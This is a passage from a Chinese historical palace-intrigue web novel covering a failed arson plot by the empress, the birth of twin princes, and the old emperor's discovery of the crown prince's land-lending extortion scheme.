“接下来怎么办?”黄兰问,“要不要让阁主回来,把这个坏了心肝的老太婆丢去刑部,大型拷问,必能供出主使之人。” 老皇帝什么德行,温若初心里再清楚不过,把花嬷嬷送去刑部,哪怕是人赃俱获,有花嬷嬷签字画押口供确定系皇后指使,老皇帝也不会认账。 十有八九是花嬷嬷被灭口,稀里糊涂结案。 就这么揪出花嬷嬷,基本上是一步废棋。只会换来皇后那边更疯狂的报复。 花嬷嬷这步皇后送过来的棋子,乍看险象环生,只要巧妙运用得当,能发挥出意想不到的价值。 温若初心里有个疑问…… 花嬷嬷已准备好了火油,却迟迟不动手,她在等什么? 温若初轻抚隆起小腹,思忖半晌,一个想法冒了出来,她脊背惊出一层冷汗。 皇后那边在等她临盆,她最弱的时候。 温若初眯了眯眼睛,从毛孔里溢出几分杀气,她紧紧抓着衣料。 “人家都已经准备好了,人家是客,不能让人家等太久,不如我们帮她们一回。” “去告诉王爷,本宫临盆了。” 夜幕四合,突然起了风,温若初的院子下人们进进出出。 房间内不时传出女子痛苦叫声。 稳婆们忙碌的身影映在窗棱上,沈惊澜急切地等候在门外,围着院子里那棵大枣树,来回急切地踱步。 花嬷嬷借口盯着丫鬟们干活,守在门外,催促下人干活的同时,时不时朝院子里瞅一眼。 花嬷嬷对温若初的院子有心里阴影,尤其是晚上,总觉得柳妃的鬼魂指不定什么时候就出来了,柳妃是为了找温若初和沈惊澜寻仇,她是受皇后娘娘的命,来要温若初母子的命。 在一个死不瞑目的厉鬼手里抢人命…… 她是有多大的胆子,若是那柳妃顺带着把她也带走…… 花嬷嬷有苦难言,心里害怕,还不如让柳妃直接要了温若初母子的命,她也落个轻松自在。 女子生产本就是鬼门关走一遭,是最虚弱的时候。 花嬷嬷双手合十,小声祈祷。 “柳妃娘娘,你想要温若初的命,今晚正是动手好时机,老奴回去给您上两炷香,助您一臂之力,老奴是在帮您,您可得看准了在动手……” 花嬷嬷嘴里嘀嘀咕咕,趁着没人注意这边,偷偷溜了回去,壮着胆子摆了香案,抽出两炷香,吹亮火折子,火折子还没等点燃手里香。 只见隔壁院子隐有火光起,没一会儿,火舌腾空而起,火光大盛。 花嬷嬷一手拿着火折子,一手拿着香,看温若初院子着火,看得心里欢喜。 “柳妃娘娘显灵了。” 一心想着完成了皇后娘娘交给她的任务,不过是念叨几句,柳妃的鬼魂就听从她的话,对温若初动手。 丝毫没察觉到,温若初正临盆产子,院子里几十号人伺候,转眼间燃起大火,一句哭喊求救声没有,是多么不正常。 第172章 临盆 翊坤宫 皇后一身素衣脱簪披发跪坐在观音像前,双目微阖,有节奏地一下一下敲击着面前的木鱼。 在无人说话的寂静深夜,深宫里飘出来的木鱼声,显得空旷而诡异。 门口一个小宫女和采莲低声说了几句话,采莲走到皇后身边,屈膝跪地,低声禀告。 “娘娘,花嬷嬷那边得手了。” 木鱼声停歇,皇后睁开眼睛,眸光掩饰不住的欣喜。 “可确认了?沈惊澜和温若初都死了?” 采莲:“今儿温若初临盆,奴婢特意去兵部打听了,沈惊澜得了消息急匆匆赶回去了,来传信的人说荣王府那边火光映天,潜火队那边也打点好了,会迟些过去。” “前日花嬷嬷走的时候,刁嬷嬷特意嘱咐过,务必确保温若初和沈惊澜都在,花嬷嬷还朝奴婢要了两把长锁,动手的时候锁住院子,一个人都出不来。” “沈惊澜和温若初这次应该是彻底栽到这了。” 皇后捋了捋头发,长长松了一口气,眉宇间阴翳舒展开,浮现喜色。 “沈惊澜死了,就没人敢追查鄞郡军饷来源的案子了,好啊。” 那些乌七杂八的庶出皇子,就没那个九五至尊的命,妄想取代太子的位置,简直就是自不量力,机关算尽折腾来折腾去,还不是和沈飞白一样的下场。 谁妄图和太子,和她作对,自有天神惩罚。 皇后双手合十对着观音像拜了拜。 “阿弥陀佛,菩萨保佑。” 沈惊澜和温若初感情深厚,能死在一起也算是他们的造化了。 等风头过了,会求陛下为陛下为荣王和荣王妃开宗祠,后事一定办得风风光光,皇后心里这样想着,自认对沈惊澜和温若初已经是仁至义尽,菩萨心肠了。 荣王府的火烧得很大,半夜起风,加剧了火势,火光然红了半边天,半个都城的人都瞧见了,都是那是归国质子九皇子沈惊澜的府邸。 火势越来越大,潜火队迟迟不到。 附近有好事百姓,三更半夜从被窝爬起来看热闹,也有热心肠邻里自发组织起来提着水桶救火。 “这么大的火,怕是要烧到明早了。” 秋菊扶着温若初,望着荣王府方向,感叹一句。 “明天一早整个都城的人应该都知道荣王府走了水,王爷和本宫要成名人了。” 温若初自嘲一般,自言自语嘀咕,像是突然想起什么似的,一脸忧心之色看向沈惊澜。 “咱们的人都带出来了吧?” “一个都不少。” 沈惊澜也望着荣王府方向,今夜过后又要有一批人掉脑袋了。 他们的人都带出来就好,火是温若初亲自放的,若是不小心落下一个人可就得不偿失了。 皇后想趁着她临盆,一把火烧死她和沈惊澜,她就放出临盆消息,自己烧了自己的院子。 温若初和沈惊澜在火势起之前便已搬到老宅子里。 那座府邸是老皇帝封沈惊澜为荣王的时候赏赐的,听说还是先帝在的时候,一位重臣的宅子,那重臣获罪全族被处死,旁人都嫌弃那座府邸晦气,没人愿意要,空置了好久,才赏赐给沈惊澜。 若是没有大虞女皇的那道赐婚圣旨,就算是空着,也没有沈惊澜的份。 旁人不要的东西,他们也不要。 左右她和沈惊澜都不喜欢那座府邸,烧了就烧了。 温若初望着荣王府方向,不知为何,心底竟生出一种变态的极具破坏欲的快感。 明明烧的是自己的宅子,莫名的兴奋。 和沈惊澜有一搭没一搭地闲聊。 人呐,乐极往往容易生悲,温若初眼瞅自家宅子化为灰烬,忽然下体涌出一股暖流,止都止不住地流了出来。 温若初提着裙子,一脸囧色,她平生第一次怀孕生子不知道怎么回事,只以为笑得太开心,失禁了没注意。 “我……我……我要去茅房。” “别动!”沈惊澜抓着她的手腕。 “怎么了?”温若初急着去茅房,抬头问沈惊澜。 沈惊澜低头瞧见她裙底水迹,墨黑瞳孔骤缩,像是遇到了什么了不得的事,向来平静的脸上掩饰不住的紧张和慌乱。 温若初对自己不上心,沈惊澜却是格外的上心,自从知道温若初坏了身孕,从古叔那借来有关女子怀孕生产的书籍,每有闲暇时候就拿出来翻看。 如今也算是半个大夫,知道温若初这是羊水破了。 “进屋。” 二话不说,揽过她的肩膀,结实有力的手臂抬起她的膝窝,快步朝房间走去。 边走边让人去传稳婆。 立马有人跑去叫稳婆,方才在荣王府演练过一遍,这会正用上了,还是有些手忙脚乱。 “肚子疼不疼?”沈惊澜问。 温若初摇了摇脑袋,整个人都是懵懵懂懂的,就被放到了床上,她瞅了一眼腹部,看向沈惊澜。 “是……是要生了?” 沈惊澜握住温若初的手,“没事的,一定会没事的……” 温若初:“……”她也没说自己会有事啊。 两个稳婆进来,“王爷,王妃要生了,您在这里不方便,先出去等着。” “没什么不方便的,”沈惊澜不动地方,“你们忙你们的。” 紧紧抓着温若初的手,像是怕温若初被人带走似的,一身的警惕气息,浑身汗毛直立,释放出的警惕气息,危险而具有攻击性,不准任何人靠近。 哪有男人留在产房的。 沈惊澜老母鸡护鸡崽子的样子,谁靠近温若初就要咬谁一口。两个稳婆互看一眼,蹑手蹑脚不敢上前。 温若初感觉到沈惊澜手心冰凉微微颤抖着,赖在这不走,好像要生孩子的不是她。 温若初反握住沈惊澜的手。 “乖啊,没关系,肯定没事,你先出去。” 沈惊澜还是不放心,“可是……” 温若初的肚子是真有点开始疼了,看向沈惊澜打趣道。 “要不……你躺这,我出去?” 第173章 双生子 温若初好说歹说把沈惊澜劝出去了。 也是怪了,沈惊澜死乞白赖坐在她身边的时候,没感觉肚子多疼,沈惊澜抬屁股一走,她的肚子就开始一阵一阵的拧劲疼。 今晚事情有点多,一直没缓过神,像是反射弧长似的,温若初这会肚子疼得厉害,才意识到她要生孩子了。 生孩子在古代社会是可能会死人的,尽管提前做了万全准备,心底不免还是有些害怕。 “嬷嬷,我不会是要死了吧?” 其中一个稳婆姓钱,四十来岁,跪在床上,袖口挽到胳膊肘,闻言抬头看她。 “不会,女子都得经过这一遭,别看是双生子,娘娘的胎像却极好,定会母子平安。” 不死就行,温若初稍稍宽心,又一阵阵痛袭来。 “啊——” 沈惊澜守在门外,时不时有痛苦惨叫声传出,心里焦躁得厉害。 小辛小跑过来,禀告荣王府那边情况。 “回阁主,荣王府烧得差不多了,潜水队的人才到,荣王府附近围了很多看热闹的百姓,也有提着水桶帮忙的。” “另外,花嬷嬷已经抓起来了,没用我们问,自己就承认是受皇后指使,意欲谋害王妃和两位小公子……” 小辛瞅了一眼沈惊澜,声音低了下来,“……还有您。” 沈惊澜的眼睛就没从面前那道紧闭的门板移开过,小辛禀告过来的消息,一字不漏地听在耳朵里,墨黑眸子里掩饰不住的愧疚和心疼。 喃喃自语道:“主要是我吧?”温若初和孩子是受他连累。 又一阵惨叫声传了出来,沈惊澜心里更加愧疚了。 小辛问道,“花嬷嬷要送到刑部吗?” “先留着。” 沈惊澜眼底闪过一抹狠厉,回头瞅了小辛一眼,冷声吩咐道。 “你知道怎么做?” 留下半条命即可。 留下半条命可操作空间可就大了,砍胳膊砍腿也是半条命,再不济身上不留下任何伤痕,也能做到。 天机阁的主要业务是获取情报,折磨人的法子,他们有的是。 小辛跟踪盯梢不行,套取情报是一把好手。 沈惊澜给他下这个命令,简直就是黄鼠狼住进了鸡窝,大显身手。 小辛嘴角不觉笑了笑,领命令出走了。 不知道温若初叫了多久,沈惊澜守在门外度日如年,钱嬷嬷出来让丫鬟端热水进来。 沈惊澜忍不住上前质问钱嬷嬷。 “小初到底怎么样了?” 钱嬷嬷似乎较旁人对沈惊澜格外尊敬,行了一个礼恭敬答道。 “王爷放心,小公子健康着呢,等下把王妃下边剪开,小公子就能顺利生出来了。” 沈惊澜眸中迸射寒光,一脸警惕地盯着钱嬷嬷,一字一顿问道。 “本王问的是小初,要的是母子平安,你胆敢耍花样,本王这就把你丢回王府!” 钱嬷嬷赶紧道歉,“王爷误会老奴了,老奴自然知道王爷求的是母子平安,老奴是王妃娘娘的人,心里向着王妃和小公子,怎么会对王妃耍花样?” “实在是孩子有些大,又是双胎,不剪开,孩子出不来。” 钱嬷嬷的解释合情合理,面上也瞧着真切。 沈惊澜心思缜密,大虞为质的十几年,最不缺的就是耐心,眼下,沈惊澜是真没耐心继续等下去了。 他对任何人都不放心,不顾众人阻拦,冲进房间。 看着沈惊澜背影,钱嬷嬷眼底闪过一抹异样神色,快步走进产房,跟着另一个嬷嬷为温若初接生。 房间里断断续续的惨叫声持续到太阳初升,天刚蒙蒙亮,一阵响亮的婴儿啼哭声传了出来。 那把闪着寒光的剪刀丢在清水里,没用在温若初身上,温若初顺利产下两名男婴儿。 两个稳婆手里一人抱着一个娃娃,凑到温若初和沈惊澜面前。 “恭喜王爷,恭喜王妃,王妃顺利产下两名小公子,”钱嬷嬷把手里婴孩又往前凑了几分,“这位是大公子,比二公子身形壮实一些。” 温若初依靠在床头,搭眼瞅了一眼,两道柳眉深深蹙起。 “那是什么?” 两个孩子皱皱巴巴,浑身泛白,小老头一眼,温若初心里嫌弃,再看看沈惊澜那张美得人神共愤的一张脸,她自己都怀疑这两个孩子是沈惊澜的吗? 钱嬷嬷笑着解释,“刚出生的孩子都这样,过两天就长开了,”看了一眼沈惊澜,“两位小公子长得像王爷多一些。” 温若初实在没看出来两个孩子哪里好看了,也跟着嬷嬷附和两句。 沈惊澜宝贝似的伸手接过两个孩子,捧着两只地雷似的,小心翼翼,瞅了瞅这个,又瞅了瞅那个,抬眼看向温若初。 面上难掩激动,墨黑深邃的眸子闪着初为人父的亮光。 “我们有自己的孩子了。” 温若初点点头,生了两个丑儿子,养着呗,又不能扔。 生孩子折腾了一晚上,几乎耗光了温若初的所有力气和心身,和沈惊澜说了两句话,眼皮直打架。 “我好累啊,想睡一会儿。” 脸上没什么血色,人也瞧着没精神。 通常要死了的人才会是这幅样子,沈惊澜好不容易放松下来的神经又紧张起来了,两个孩子递给奶娘,伸手揽住温若初的肩膀。 “先别睡。”吩咐人赶紧去叫古叔进来。 古叔昨晚就被沈惊澜叫来了,一直守在院子外,为的就是以防万一,一大早听说母子平安,古叔就回去了,脑袋刚挨枕头上,有了睡意,就被人叫了过来。 哈欠连天为温若初诊了脉,只说是气虚血亏,多多休息将养一阵子就能恢复,能吃能睡才好呢。 沈惊澜放心了,温若初终于沉沉睡了过去。 第174章 坏事传千里 温若初诞下两位小公子的时候,那边的荣王府的火势接近尾声。 占地十几亩地的荣王府被大火吞噬的几乎只剩下一个空架子,房子被烧了二十几间,院墙被烟熏得乌漆嘛黑,有粗重房梁还冒着青烟。 荣王府门口里三层外三层围了一群百姓,七嘴八舌议论纷纷。 “好端端的一座宅子就这么没了,荣王妃顶好的一个人,身怀六甲,真是红颜薄命啊。” “荣王殿下正得圣宠,听说最近在调查鄞郡私募兵马军饷来源的案子,八成是被人报复了,可怜小夫妻二人,恩爱有加,孩子都没生出来,两人就这么走了,真是可怜啊。” 昨晚天气干燥,风大,一个不留神打翻了蜡烛,引发走水是很常见的事。 荣王府烧得惨烈,里面一片焦土,到处残垣断壁,谁来了第一个想到的都是温若初和沈惊澜被昨晚的大火烧死了。 众人更多的是对温若初和沈惊澜“被烧死”的惋惜。 温若初和沈惊澜自从到都城以来,一直都忙着自保,忙着躲避皇后沈星驰一伙人以及柳家的明枪暗箭,并没有为都城百姓做多少好事。 人都是对比出来的,相较于沈星驰一党的欺压百姓,沈飞白的阳奉阴违,沈惊澜什么都不做就是好人了。 众人正说得来劲,荣王府侧门走出一行人,五六个壮汉,各个身形矫健,气宇轩昂的。 其中两个壮汉架着一个妇人的两只胳膊,那妇人浑身脏污不堪,肥硕的脸上沾着灰,脚尖几乎离地,是被拖着走的。 这一行人正是小辛带的人,来抓花嬷嬷。 花嬷嬷不愿意走,皇后娘娘答应过她,事成之后会有人来接她,然后送她走。 奋力挣脱架着她的两个大汉的钳制,挣脱不过,大声叫嚣。 “你们好的胆子,我可是皇后娘娘的人,你们也敢动,小心皇后娘娘砍你们的脑袋……” 小辛自顾走在前头,不搭理花嬷嬷的叫嚣,出来便听见聚集在荣王府门口百姓议论沈惊澜和温若初被大火烧死的事。 阁主一家四口家庭美满,正幸福着,这些不明真相的百姓都把人小夫妻弄到阴间去了。 被别人议论死了,可不是什么好话。 小辛黑着脸,“我家王爷和王妃好好的,我家王妃今早还给我家王爷生了一对儿子,是一对儿子,白白胖胖的,可招人稀罕了,谁再敢嚼舌根,扭送衙门掌嘴。” 众人惊诧,沈惊澜和温若初都活着,还得了两个儿子。 “王爷和王妃好人有好报。” “恭喜王爷,恭喜王妃。” 奉承讨好,道喜声此起彼伏。 方才叫嚣得厉害的花嬷嬷此时却沉默了,一脸怀疑地瞪大眼睛,眼白比黑眼珠多两倍。 “不……不可能,两大桶的火油,沈惊澜和温若初明明被烧死了,不可能还活着。” 花嬷嬷说话的声音很大,这句等于间接承认她就是那个纵火犯。 围在荣王府门口众人倒吸一口凉气,原来昨夜的大火是有人蓄意谋害。 有人说道:“我就说嘛,这么大的宅子,一直都相安无事的,就算是偶尔不慎走了水,也就是烧个一间拌半间房屋,怎么可能一下子烧了二十多间房屋。” “这婆娘故意纵火,还能如此有恃无恐,背后八成是有人授意。” 花嬷嬷方才吵吵嚷嚷叫嚣着自己是皇后娘娘的人。 是谁授意的? 众人你看看我,我看看你,心照不宣,心下已有猜测。 “最毒不过妇人心,居然特意赶在王妃临盆正要命的时候,要人家的命,如此歹毒心肠,也不怕遭了报应。” 温若初那充分发挥广大人民群众力量的招数,小辛也学去了一二。 荣王府差不多只剩下一个空架子,这会潜火队才姗姗来迟,本就群情激奋,小辛上前煞有介事,抱拳感谢潜火队来灭火。 “各位幸苦了,大老远的来这一趟,劳苦功高,我家王爷一定有赏。” 潜火队都巡听出了小辛话音中的阴阳,硬着头皮笑了两声,吩咐人进院灭剩下的烟。 围在门口的百姓讨论更激烈了。 “荣王殿下敌国为质十几年,回来居然遭受如此,没死在敌人手里,险些死在嫡母手里,这到底是什么世道。” “就是欺负荣王老实,爹不疼娘不爱的,可怜啊。” 众人你一言我一语讨论荣王府被烧的事,不是天灾,而是人祸,坏消息传得格外欢快,昨日大火半个都城的人都知道了。 今日皇后火烧荣王府这个话题,只半日就传遍了大街小巷,自然也传进了皇宫。 御乾宫,老皇帝寝宫。 老皇帝吞服每日必用丹药,咂了一口茶。 “昨老九的宅子走水了?” 总管太监李公公端着红木托盘,接下茶盏,“是,外面闹得沸沸扬扬的,说什么的都有。” 荣王府走水,传言版本很多,有一点出奇一致,背后之人是皇后,老皇帝一早起床既然听说了荣王府走水,不可能不知道外面那些传言。 “乱嚼舌根子,胡说八道,昨晚刮大风,驭下无方,下人们玩忽职守,没守住烛火走了水,每年这个时候都城都要生十几起这样的案子。” 老皇帝板着脸,轻哼一声。 “皇后礼佛,心底良善,怎会做出心思歹毒之事?” 李公公顺着老皇帝,点头道,“是。” 老皇帝脸色稍霁,眉心却微微蹙着,低头沉默半晌又继续道。 “皇后有什么理由去谋害老九?” 李公公把手中托盘转递给身边的小太监,做出愁眉不展的思考样子。 “是没什么理由……”顿了顿,补充道,“荣王殿下最近除了忙您交代给他的事,也没干旁的啊?” 笑了笑看向老皇帝,“那些什么都不知道的百姓乱嚼舌根子,陛下听听就算了,不用挂在心上,劳心伤神的,不值当。” 李公公状似没什么的话,似乎戳中了什么,老皇帝吩咐沈惊澜办的事无外乎调查鄞郡军饷来源。 老皇帝沉默了,眉心蹙地很深。 聊了半晌荣王府走水的事,老皇帝才想起问沈惊澜。 “老九没事吧?” 李公公笑道:“荣王殿下有陛下的福气护佑着,没事,不仅没事,荣王妃昨日临盆了,诞下两位小公子。” “听说荣王府烧的只剩下个空架子,两位小皇孙能平安诞生,也是福大命大的人,昨司天监的人还说呢,紫微星正东,是祥瑞降临之兆。” 说曹操曹操就到,宫人传话。 “陛下,荣王殿下求见。” “准。” 老皇帝以为沈惊澜来找他诉苦荣王府被烧,来告皇后的状,却没想到沈惊澜走进来行礼过后的第一件事竟然递上来一道折子。 沈惊澜恭敬道,“儿臣已查明鄞郡军饷来源,和六年前父皇主推的休养生息让利于民政策有关。” 第175章 杀机四伏 老皇帝脸色倏变,老迈的身形微微晃了晃,下意识抓紧龙椅扶手,指腹泛白。 休养生息让利于民是六年前匪患平定之后,为维护江山社稷长治久安,当时顶着压力,力主推行的政策。 是他在位期间,为百姓做过的为数不多的几件大事之一,也是他最得意的事。 前两年还旁敲侧击问过史官,休养生息让利于民是否写进史书,想着闭上眼睛,可以坦然地面对列祖列宗。 近些年户部呈递上来的账目显示,收成逐年增加。想来休养生息让利于民的效果很好。 他让沈惊澜调查鄞郡军饷来源案,就已预料到皇后和太子可能一时糊涂做了错事。 买官卖官,囤积居奇,贪墨赈灾款…… 那么多能搞银子的地方,他都想过了,唯独没想到皇后和太子居然把手伸向土地改革上。 户部呈递上来的账目没有任何问题。 土地乃国之根本,他们又不是不知道,谁都不能打土地的主意,老皇帝想不通皇后和太子怎么敢的? 又是通过什么法子,在户部账目上做的天衣无缝,甚至可以说是漂亮? 老皇帝面色阴沉,盯着沈惊澜,冷声质问。 “你可有证据?” “有。” 面对老皇帝的明显质疑,沈惊澜不卑不亢,“父皇,容儿臣让人把证据抬上来。” “准。” 十几个巡防禁卫军,两人一抬,抬进来六七个大箱子,整齐摆成一排。 箱子被依次打开,前两个箱子里装的是账本,后几个箱子里装的则是满满当当的金元宝,粗略估算近万两。 老皇帝一脸不解,目光落在几箱子金元宝上,差不多一个季度的税收,到底是谁这么大的胆子贪墨的? 开春的时候,工部清理绥河河道,朝廷都拿不出银子,眼瞅到雨季,若是运气不好,赶上十天半日急雨,下游河堤不保,极易生出水患。 老皇帝正愁从哪里弄银子,加固河堤,尽早预防一下。 没想到金子送到眼前了。 老皇帝又惊又喜,问沈惊澜,“这是?” 沈惊澜拿起一本总账,交给李公公,李公公呈递给老皇帝。 沈惊澜把郭河那套一五一十禀告给老皇帝。 郭河利用老皇帝推行的休养生息土地政策,借钱给农户,后联合户部抬高田赋,农户还不起银钱,土地抵做利息,最终农户不光失去土地,还要偿还永远也还不完的银子。 郭河肆无忌惮吸食农户骨髓敛财,钱款去向是东宫,账本上写得明明白白。 更令人触目惊心的,郭河只是东宫敛财工具之一。 六年前老皇帝实行多少块土地试点改革,就有多少个郭河,只多不少。 户部呈递给老皇帝的账目看起来天衣无缝,实际上这些“郭河”们也确实按时按量缴纳田赋,所以只从账面上查,什么都查不到。 那些被迫失去土地的农户,一来白纸黑字签的借契,都是老实人不愿意抵赖。二来这些农户无根无基,填饱肚子就是幸福的一天,没有任何门路,去哪里投告。 即便是有一两个好事之徒,觉得不公,不怕死地投告到衙门。 那些官老爷养尊处优都是人精,往上稍微一打听这些诓骗农户劣绅的背后靠山,也没有人敢接这样大的案子。 鄞郡那些私募兵马的军饷来源,归根结底出在最贫苦最弱势的农户身上。 沈惊澜道:“这些金子是南卿庄郭河诓骗百姓,贪赃枉法的赃款,另外大庆庄,顺柏庄查抄的赃款也将陆续运抵……兵部。” “至于距离都城较远的庄子,则需父皇尽快下令禁军去收缴赃款。” 正常来说查抄的脏银,如无特殊情况,都是放在户部。 如今东宫和户部勾结,这些金子只能放置在别处,老皇帝对兵部尤其看中,兵权始终没有真正下放,沈惊澜此举也在博取老皇帝信任。 老皇帝看了几页账目,双目赤红,手指微微颤抖,一口气堵在胸口上不来,脸憋得通红,喝下一口茶水,又急赤白脸呛咳好几声。 李公公拍着老皇帝后背,顺了老半天的气,憋在老皇帝胸口的这口气才顺下去。 一间书房尚且藏一两只蠹虫,一个庞大的国家,有那么几个奸佞之辈也正常,太子怎么也成蠹虫了? 他呕心沥血励精图治,为的就是稳固江山,给星驰铺路。 皇后和太子这是在做什么? 老皇帝胸口剧烈喘着粗气,眯着眼睛靠坐在龙椅里,半晌后,撩起眼皮看向沈惊澜。 想起一大早听说的荣王府走水,温若初产下双生子,他这个九儿子还能一大早把皇后和东宫的罪证送过来…… 光整理这些账目所耗费的时间,至少月余,能在短短十日之内呈递到他面前。 沈惊澜应该在他命令他调查军饷来源案之前,就已经查到了军饷和土地有关。 不…… 这时间可能更早。 沈惊澜早就想对沈星驰动手了。 沈惊澜是带着恨回来的…… 老皇帝盯着沈惊澜,盯得格外认真,似乎在透过那双毫无二心的眼睛,窥探掩藏在深处的那颗欲弑君的狼子野心。 浑浊老眼闪着光,眼底不显,心底却已起了杀意,但凡瞧出一丝端倪,定要叫这个寒族余孽血溅当场。 沈惊澜坦然站在老皇帝面前,老皇帝想杀了他,此时的沈惊澜何尝不想宰了老皇帝。 他微微低着头,姿态恭敬。没有任何不敬之举,有的只是为人臣为人子的忠心。 老皇帝端坐龙椅,眼睛一眨不眨地盯着瞅了沈惊澜半天,除了敬畏什么也没看到。 这孩子心思缜密,又如此沉得住气,还真有几分先帝风采,先帝还是皇子的时候也曾在三日之内查出重臣贪墨大案。 老皇帝心底杀意逐渐退去,转而浮现几分赞赏。 第一次对这个儿子生出了几分愧疚心思。 第176章 老皇帝承认沈惊澜这个儿子 老皇帝面色缓了缓,看向沈惊澜的目光中难得多了几分长辈对晚辈的慈爱。 “朕听闻荣王府昨夜走了水,你身子无碍吧?” 沈惊澜:“谢父皇体恤,儿臣一切安好。” 雍国习俗,孩子出生后,由家中长辈取名,等到满月长辈亲手把孩子的名字加进族谱。 老皇帝犹豫一瞬,又问。 “朕还听说荣王府得了两位小皇孙?” “是。” 老皇帝:“……” 他十三个儿子,十五位公主,那个添丁加口的不都是乐得来找他报喜,央求他赐名? 沈惊澜安顿好温若初之后,趁着皇后和东宫还没反应过来,当机立断,安排人手抄了南卿庄,以及都城附近两个庄子负责给东宫敛财劣绅的宅子。 忙了一早晨,两个孩子的名字还没来得及取。 清楚雍国习俗,新生的孩子需要长辈取名字入族谱。他并无不在意族谱,孩子是温若初生的,沈惊澜想让温若初给孩子取名字。 沈惊澜不愿意,老皇帝以为沈惊澜为人木讷不好意思求他,他可是一国之君,岂有上上赶着求人的求他的道理。 父子俩僵持半晌,谁都没说话。 李公公站在一边,小心翼翼打量老皇帝神色,这个荣王殿下也真是的,陛下都把话说到这个份上了,就借坡下驴呗。 陛下能承认这两个孩子是小皇孙,可不容易,有陛下首肯,荣王妃生的这两个小皇孙,谁也动不了,是能长大的。 李公公挑破尴尬道,一脸笑意。 “荣王府的两位小皇孙还没来得及取名吧,左右过两日荣王也得来求陛下,不如就趁今日把两位小皇孙的名字定下,省得荣王殿下再多跑一趟。” 沈惊澜倒吸一口气,余光瞄了一眼李公公,眼神警告李公公多事。 撩起衣袍,双膝跪地,求老皇帝。 “儿臣代两位犬子求父皇赐名。” 老皇帝眉宇间染上喜色,满意沈惊澜对他的恭顺,捋了一把花白胡须。 “好,好啊,今日便赐名。”他思索片刻,道,“桓儿和烁儿在前,老九府上的两位小皇孙,按辈分排老三和老四,老三便叫沈轩,寓意光明轩昂,日后必成大器,老四就叫沈煜,煜有照耀之意,望他一生璀璨。” 沈惊澜叩首谢恩:“谢父皇赐名,愿两位犬子不负父皇期许。” 老皇帝挥了挥手,“行了,回去多陪陪老婆孩子吧,鄞郡军饷来源的案子不用你管了,荣王府不能住了,你暂且在老宅子将就几日,这两日朕帮你选一处府邸。” 又赐给两位小皇孙一人一只金项圈,让沈惊澜带回去。 沈惊澜回老宅子的时候,温若初已经睡醒了,两位小公子在奶娘那吃饱了奶水,躺在摇床里,一人带着一个金项圈,排排睡,睡得香甜。 温若初趴在床边,下巴垫在手臂上,看两个小家伙,皱皱巴巴的丑娃娃,这会愣是看顺眼了。 沈惊澜方才回来的时候一脸难色,似是有话,犹犹豫豫的,温若初再三追问才知道是孩子取名字的事。 老皇帝舔着脸把两个小家伙的名字定下了。 沈惊澜怕她生气。 温若初没觉得生气,反而觉得是好事,沈惊澜到底是老皇帝的亲儿子,沈惊澜的儿子可不就是人家孙子? 只有经过老皇帝承认,两个小家伙的名字才能写在雍国皇室玉牒上,将来才有机会承袭大统,也间接反应出老皇帝逐渐承认了沈惊澜,这是好事。 温若初还反过来劝沈惊澜宽心。 沈惊澜坐在摇床的另一边,取名字的事过去了,知道温若初心里惦记着鄞郡军饷来源的案子,不等温若初问,闲聊似的就把在御乾宫的事说完了。 温若初面上没什么怒色,只有老母亲对两个小家伙的喜爱。 月儿到底是年纪小,沈不住气,两位小公子在睡觉,压低声音愤愤不平道。 “皇后和太子坑害那么多人,王爷把他们贪腐的账目和金子都摆在陛下脸上了,陛下一点反应都没有,也没说惩治皇后和太子?实在是太让人寒心了!” 那色胆包天的郭河强娶小玉的日子在十日后,一大早郭河被沈惊澜的人抓走了,小玉算是彻底得救翻身了,是喜事。 温若初听说郭河被抓走了,心里着实为小玉松了一口气。 她又诞下两个小家伙,母子平安。 好事都赶到一起了,她笑得温和,“陛下没反应,可不代表不惩治皇后和太子。” 自古天子不与民争利,老皇帝平庸却不昏庸,知道百姓对一个朝廷的重要性。 不然也不可能在匪患结束之后,百废待兴之时,力主推行土地改革政策,会在沈星驰声望受损的时候,为沈星驰挽回声望。 老皇帝愚民,却不敢伤民。 土地是一国之本,皇后和沈星驰这次动了老皇帝最在意的东西,老皇帝这会指不定怎么伤心动怒呢。 云淡风轻地让沈惊澜回来,不过是把沈惊澜当做外人,不方便处理家事。 老皇帝若是当着沈惊澜的面直接叫来皇后和太子,那才是真的冷处理没有下文。他们这边才该担心。 月儿似懂非懂地点点头,小脸上的愤怒逐渐消散,不大懂公主说的,但是她相信公主。 温若初和沈惊澜一左一右围坐在摇床边,看着他们创造出来的小家伙,唠家常说情话一般,轻声细语说着朝堂上的事,家国天下在这一小方天地完美融合,一片岁月静好。 这边岁月静好,翊坤宫此时气氛压抑得令人喘不过气。 房间里只老皇帝,皇后以及太子沈星驰一家三口在,宫女嬷嬷太监们被老皇帝撵了出去。 皇后跪坐在地,年近半百,贵为一国之母,当着三十几岁孩子的面哭得梨花带雨,上气不接下气,肩膀一耸一耸的。 “人心是喂不熟的,那些贱民穷得叮当响,必然是品行卑劣之人,就算是给了他们低价良田,那些人也不会记陛下的好,对陛下感恩戴德,只会得寸进尺,要更多,变成刁民。” “陛下当年收缴老臣手里的良田,得罪了多少人,几位皇叔含恨而死,陛下百年之后有何颜面去见先帝!” 第177章 满月宴 老皇帝被皇后这一番歪理狡辩气得浑身发抖,下意识举起手掌,念及三十几年的夫妻情分,巴掌迟迟没有落下。 无奈又气愤地叹了一口气。“六年前匪患背后主使之人就是朕的那几位皇叔,他们想要夺朕的皇位,朕难道要对他们感恩戴德?” “朕不挫挫他们的锐气,杀鸡儆猴,这天下如何能长治久安?” “你是一国之母,不是人事不懂的顽童,朕把你当成最亲近之人,你却在背后拆朕的台,被你坑害的那些百姓投告无门,卖儿卖女,你让天下人如何看朕?” “朕没亏待过你,你为何要自毁江山?” 一大早听说老九的宅子被皇后一把火烧了,杀人放火是重罪,佛法里说是要下地狱的,皇后素来胆子小,他还不相信。 眼下看来,是他看走了眼,三十多年都没认清皇后的真面目。 皇后抬眼看向老皇帝,心下一横,吐出积压在她心里多年委屈。 “还不是你宠爱柳妃,看柳妃的儿子比星驰都重,臣妾不过是为星驰多做一分打算罢了,手里没银子招兵买马,只能想法子从旁处扣银子出来。” 似是宣泄情绪,长长吐出一口气,擦干净眼底眼泪,不以为意哼笑一声。 “别看那些农户穷得叮当响,还真的能抠出银子,是他们自己没本事,又蠢笨,怨不得旁人。” 这话几乎等于明着告诉老皇帝,她有谋反的心,不光有谋反的心,还是老皇帝逼迫的,闹成如今这般,都是老皇帝的错。 老皇帝指着皇后,半天说不出话,眼底通红被气得不轻。 “你……你……这么多年,朕是看错你了……” 老皇帝斥责皇后的怒骂声很大,守在门口的刁嬷嬷听得真真切切,尤其是最后这句,话里话外隐有废后之意。 